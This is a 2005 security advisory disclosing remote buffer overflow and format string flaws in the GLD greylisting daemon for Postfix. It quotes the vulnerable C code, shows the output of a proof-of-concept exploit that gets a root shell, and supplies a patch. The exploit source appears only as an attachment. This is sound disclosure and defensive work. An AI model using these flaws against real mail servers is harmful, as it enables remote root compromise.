<<< Date Index >>>     <<< Thread Index >>>

GLD (Greylisting daemon for Postfix) multiple vulnerabilities.




        ========================================
        INetCop Security Advisory #2005-0x82-026
        ========================================


 Title: GLD (Greylisting daemon for Postfix) multiple vulnerabilities.


 0x01. Description

 About:
 Gld is a standalone greylisting server for Postfix.

 Greylisting is a new weapon to use against spam. For more information on
 this technique, see http://www.greylisting.org.

 This implementation listens on a TCP port and uses MySQL for storing data.
 The server supports whitelists based on sender, sender domain and client IP.
 It also supports light greylisting.

 URL: http://www.gasmi.net/gld.html
 Reference URL: http://www.gasmi.net/down/gld-readme

 It's using in FreeBSD port and gentoo, debian.

 Reference URL: http://wyae.de/docs/greylisting_on_debian.php
 Reference URL: http://www.freebsd.org/cgi/cvsweb.cgi/ports/mail/gld/
 Reference URL: http://gentoo-portage.com/mail-filter/gld
 Reference URL: http://directory.fsf.org/email/spam/gld.html

 The program has plenty of remote vulnerabilities.
 These vulnerabilities can be used remote user to gain root privilege.


 #1) Multi-oveflow vulnerability


 This problem happens because of abuse of strcpy() and sprintf() functions

 `/gid-1.4/server.c':
    --
        ...
   195  int HandleChild(int s,config *cnf)
   196  {
   197  char buff[BLEN];
   198  char request[BLEN];
   199  char sender[BLEN];
   200  char recipient[BLEN];
   201  char ip[BLEN];
        ...
   301  if(strcmp(request,REQ)!=0 || recipient[0]==0 || ip[0]==0)
   302          {
   303          sprintf(buff,"Received invalid data req=(%s) sender=(%s) 
recipient=(%s) ip=(%s)",request,sender,recipient,ip); // here
   304          if(cnf->syslog==1) ErrorLog(cnf,buff);
   305          if(cnf->debug==1) printf("%d: %s\n",pid,buff);
   306          return(-2);
   307          }
        ...
    --

 Remote overflow exploit can be happened by sprintf() and it allows attacker to 
gain root privilege.


 #2) remote format string -


 These vulnerabilities are very easy to be exploited.
 gld.conf is supporting syslog() function basically.
 Thereby, with problem in next code, it's possible to gain root privilege.


 `/gld-1.4/cnf.c':
    --
        ...
   117  void ErrorLog(config *conf,char *msg)
   118  {
   119  #ifdef HAVE_SYSLOG_H
   120  openlog("gld",0,conf->facility);
   121  syslog(LOG_ALERT,msg); // here
   122  closelog();
   123  #endif
   124  }
        ...
    --

 It happens by illegal use of syslog() function.

 --
 bash-2.04# cat *.c |grep ErrorLog |grep -v void
 if(conf.syslog==1) ErrorLog(&conf,"gld started, up and running");
                 if(cid < 0 && conf.syslog==1) ErrorLog(&conf,"Fork returned 
error code, no child");
                 ErrorLog(cnf,buff);
                 if(cnf->syslog==1) ErrorLog(cnf,"Read Network error");
         if(cnf->syslog==1) ErrorLog(cnf,buff);
         if(cnf->syslog==1) ErrorLog(cnf,"MySQL error");
 bash-2.04#
 --


 It can be exploited pretty easily.
 And there are alot more sprintf(), strcpy() function overflow vulnerabilities 
which are not mentioned.


 0x02. Vulnerable Packages


 Vendor site: http://www.gasmi.net/gld.html

 GLD all version (exploitable)
 -gld-1.4.tgz
 -gld.1.3.tgz


 0x03. Exploit

 I made this exploit in RedHat Linux 7.x and 9.x by Proof of Concept code.
 There is no plan to develop other platform code.


 #1) remote buffer overflow exploit:


 bash-2.04$ ./0x82-meOw_linuxer_forever -t 3 -h x0x

  #
  # 0x82-meOw_linuxer_forever - Greylisting daemon for Postfix remote exploit
  # szoahc(at)hotmail(dot)com
  #

  #
  # target host: x0x:2525
  # type: Red Hat Linux release 9 (Shrike) gld 1.4 (buffer overflow exploit)
  # method: jmp *%esp exploit: 254 byte
  # send code size: 2200 byte
  #
  # Waiting rootshell, Trying x0x:36864 ...
  # connected to x0x:36864 !
  #

  #
  # Kill two bird with one stone!
  # OK, It's Rootshell
  #

 Linux x0x 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
 uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 bash: no job control in this shell
 stty: standard input: Invalid argument
 [root@x0x /]# w


 #2) remote format string exploit:


 bash-2.04$ ./0x82-meOw_linuxer_forever -t 0 -h x0x

  #
  # 0x82-meOw_linuxer_forever - Greylisting daemon for Postfix remote exploit
  # szoahc(at)hotmail(dot)com
  #

  #
  # target host: x0x:2525
  # type: Red Hat Linux release 9 (Shrike) gld 1.4 (format string exploit)
  # Make format string, .dtors: 0x804d14c
  #
  # shellcode addr: 0x805506e, size: 320 byte
  # send code size: 394 byte
  #
  # Waiting rootshell, Trying x0x:36864 ...
  # connected to x0x:36864 !
  #

  #
  # Kill two bird with one stone!
  # OK, It's Rootshell
  #

 Linux x0x 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
 uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 bash: no job control in this shell
 stty: standard input: Invalid argument
 [root@x0x /]#


 0x04. Patch


 GLD 1.4 patch:

 === gld-1.4.patch ===
--- cnf.c       2004-08-18 23:44:22.000000000 +0900
+++ patch/cnf.c 2005-03-06 17:36:04.000000000 +0900
@@ -118,7 +118,7 @@
 {
 #ifdef HAVE_SYSLOG_H
 openlog("gld",0,conf->facility);
-syslog(LOG_ALERT,msg);
+syslog(LOG_ALERT,"%s",msg);
 closelog();
 #endif
 }
--- greylist.c  2004-08-18 04:12:38.000000000 +0900
+++ patch/greylist.c    2005-03-06 17:39:59.000000000 +0900
@@ -20,9 +20,9 @@
 pid=getpid();
 
 ts=time(0);
-strcpy(oip,ip);
-strcpy(osender,sender);
-strcpy(orecipient,recipient);
+strncpy(oip,ip,sizeof(oip)-1);
+strncpy(osender,sender,sizeof(osender)-1);
+strncpy(orecipient,recipient,sizeof(orecipient)-1);
 
 if(conf->debug==1) printf("%d: Starting the greylist algo\n",pid);
 
@@ -52,17 +52,17 @@
         if(conf->debug==1) printf("%d: lightgrey on domain is on, let's keep 
the domain only on recipient and sender\n",pid);
 
         domain=(char *)strstr(osender,"@");
-        if(domain!=NULL) strcpy(sender,domain);
+        if(domain!=NULL) strncpy(sender,domain,BLEN-1);
 
         domain=(char *)strstr(orecipient,"@");
-        if(domain!=NULL) strcpy(recipient,domain);
+        if(domain!=NULL) strncpy(recipient,domain,BLEN-1);
         }
 
 //
 // Do we have this entry in our database ?
 //
 
-sprintf(query,"select first from greylist where ip='%s' and sender='%s' and 
recipient='%s'",ip,sender,recipient);
+snprintf(query,sizeof(query)-1,"select first from greylist where ip='%s' and 
sender='%s' and recipient='%s'",ip,sender,recipient);
 n=SQLQuery(query);
 
 if(conf->debug==1) printf("%d: Query=(%s) result=%ld\n",pid,query,n);
@@ -78,7 +78,7 @@
 //
 if(conf->lightd==1 && n==0)
         {
-        sprintf(query,"select first from greylist where ip='%s' and 
sender='%s' and recipient='%s'",ip,osender,orecipient);
+        snprintf(query,sizeof(query)-1,"select first from greylist where 
ip='%s' and sender='%s' and recipient='%s'",ip,osender,orecipient);
         n=SQLQuery(query);
         if(n<0) return(-1);
         if(n==0) fneither=1; else fnotdomain=1;
@@ -101,7 +101,7 @@
                domain=(char *)strstr(osender,"@");
                if(domain==NULL) domain=osender;
 
-               strcpy(netw,oip);
+               strncpy(netw,oip,sizeof(netw)-1);
                l=strlen(netw);
                for(i=l-1;i>=0;i--)
                        if(netw[i]=='.')
@@ -111,7 +111,7 @@
                                }
 
 
-        sprintf(query,"select count(mail) from whitelist where mail in 
('%s','%s','%s','%s')",osender,domain,oip,netw);
+        snprintf(query,sizeof(query)-1,"select count(mail) from whitelist 
where mail in ('%s','%s','%s','%s')",osender,domain,oip,netw);
        n=SQLQuery(query);
        if(conf->debug==1) printf("%d: Query=(%s) result=%ld\n",pid,query,n);
        if(n>0)
@@ -130,7 +130,7 @@
                x=sscanf(oip,"%d.%d.%d.%d",&a,&b,&c,&d);
                if(x==4)
                        {
-                       sprintf(query,"%d.%d.%d.%d.%s",d,c,b,a,conf->dnswl);
+                       
snprintf(query,sizeof(query)-1,"%d.%d.%d.%d.%s",d,c,b,a,conf->dnswl);
                        n=DnsIp(query,NULL);
                        if(conf->debug==1) printf("%d: DNSQuery=(%s) 
result=%ld\n",pid,query,n);
                        if(n==0)
@@ -146,9 +146,9 @@
        // was not whitelisted and thus we have to insert it
        //
        if(conf->lightd==1 && fneither==1)
-                sprintf(query,"insert into greylist 
values('%s','%s','%s',%d,%d,1)",ip,osender,orecipient,ts,ts);
+                snprintf(query,sizeof(query)-1,"insert into greylist 
values('%s','%s','%s',%d,%d,1)",ip,osender,orecipient,ts,ts);
 
-       else sprintf(query,"insert into greylist 
values('%s','%s','%s',%d,%d,1)",ip,sender,recipient,ts,ts);
+       else snprintf(query,sizeof(query)-1,"insert into greylist 
values('%s','%s','%s',%d,%d,1)",ip,sender,recipient,ts,ts);
 
        SQLQuery(query);
        if(conf->debug==1) printf("%d: Query=(%s)\n",pid,query);
@@ -165,9 +165,9 @@
        if(conf->update==1)
                {
                if(conf->lightd==1 && fnotdomain==1)
-                       sprintf(query,"update greylist set last=%d,n=n+1 where 
ip='%s' and sender='%s' and recipient='%s'",ts,ip,osender,orecipient);
+                       snprintf(query,sizeof(query)-1,"update greylist set 
last=%d,n=n+1 where ip='%s' and sender='%s' and 
recipient='%s'",ts,ip,osender,orecipient);
 
-               else sprintf(query,"update greylist set last=%d,n=n+1 where 
ip='%s' and sender='%s' and recipient='%s'",ts,ip,sender,recipient);
+               else snprintf(query,sizeof(query)-1,"update greylist set 
last=%d,n=n+1 where ip='%s' and sender='%s' and 
recipient='%s'",ts,ip,sender,recipient);
 
                SQLQuery(query);
                if(conf->debug==1) printf("%d: Query=(%s)\n",pid,query);
@@ -180,7 +180,7 @@
 
        if(ts-n>conf->mini && conf->lightd==1 && fnotdomain==1)
                {
-               sprintf(query,"insert into greylist 
values('%s','%s','%s',%d,%d,1)",ip,sender,recipient,ts,ts);
+               snprintf(query,sizeof(query)-1,"insert into greylist 
values('%s','%s','%s',%d,%d,1)",ip,sender,recipient,ts,ts);
                if(conf->debug==1) printf("Add the domain triplet for next 
time.\n");
                SQLQuery(query);
                }
--- server.c    2004-08-19 07:57:03.000000000 +0900
+++ patch/server.c      2005-03-06 17:41:52.000000000 +0900
@@ -215,7 +215,7 @@
        if(cnf->debug==1) printf("%d: Rejected New incoming connexion from %s 
(%s)\n",pid,buff,ip);
        if(cnf->syslog==1)
                {
-               sprintf(buff,"Rejected New incoming connexion from %s 
(%s)\n",buff,ip);
+               snprintf(buff,sizeof(buff)-1,"Rejected New incoming connexion 
from %s (%s)\n",buff,ip);
                ErrorLog(cnf,buff);
                }
 
@@ -262,16 +262,16 @@
        if(strcmp(buff,"")==0) break;
 
        if(strncmp(buff,"request=",8)==0)
-               strcpy(request,buff+8);
+               strncpy(request,buff+8,sizeof(request)-1);
 
        if(strncmp(buff,"sender=",7)==0)
-               strcpy(sender,buff+7);
+               strncpy(sender,buff+7,sizeof(sender)-1);
 
        if(strncmp(buff,"recipient=",10)==0)
-               strcpy(recipient,buff+10);
+               strncpy(recipient,buff+10,sizeof(recipient)-1);
 
        if(strncmp(buff,"client_address=",15)==0)
-               strcpy(ip,buff+15);
+               strncpy(ip,buff+15,sizeof(ip)-1);
 
        }
 
@@ -300,7 +300,7 @@
 
 if(strcmp(request,REQ)!=0 || recipient[0]==0 || ip[0]==0)
        {
-       sprintf(buff,"Received invalid data req=(%s) sender=(%s) recipient=(%s) 
ip=(%s)",request,sender,recipient,ip);
+       snprintf(buff,sizeof(buff)-1,"Received invalid data req=(%s) 
sender=(%s) recipient=(%s) ip=(%s)",request,sender,recipient,ip);
        if(cnf->syslog==1) ErrorLog(cnf,buff);
        if(cnf->debug==1) printf("%d: %s\n",pid,buff);
        return(-2);
@@ -322,7 +322,7 @@
 
 if(n==0)
        {
-       sprintf(buff,"action=defer_if_permit %s\n\n",cnf->message);
+       snprintf(buff,sizeof(buff)-1,"action=defer_if_permit 
%s\n\n",cnf->message);
         WriteSocket(s,buff,strlen(buff),TOUT);
         if(cnf->syslog==1) Log(cnf,recipient,sender,ip,MSGGREYLIST);
        if(cnf->debug==1) printf("%d: Decision is to greylist\n",pid);

 === eof ===


 P.S: Sorry, for my poor english.

 --
 These days, the main issue that strikes Korea is small rocky island "Dokdo".
 You can get more detailed information from following websites.

 "Japanese goverment has to follow and learn from German goverment"

 I can confidently say "Dokdo is belong to Korea".

 (1) reference 

 1) Their claim that the East Sea has some historical precedent worked,
 as some major book and map publishers, educational web sites and other
 reference materials now include the East Sea name along with the Sea of Japan.
 - worldatlas.com-

 http://www.worldatlas.com/webimage/countrys/asia/eastsea.htm

 2) On historical perspective and in international law, why there
 is no valid dispute over the ownership of Dokdo.

 http://www.prkorea.com/english/textbook/ge03.html

 3) Truth in scholarship

 http://www.prkorea.com/english/textbook/maintruth.html

 --
 By "dong-houn yoU" (Xpl017Elz), in INetCop Security Co., LTD.

 MSN & E-mail: szoahc(at)hotmail(dot)com,
               xploit(at)hackermail(dot)com

 INetCop Security Home: http://www.inetcop.net
              My World: http://x82.inetcop.org

 GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
 --


-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze

Attachment: 0x82-meOw_linuxer_forever.c
Description: Binary data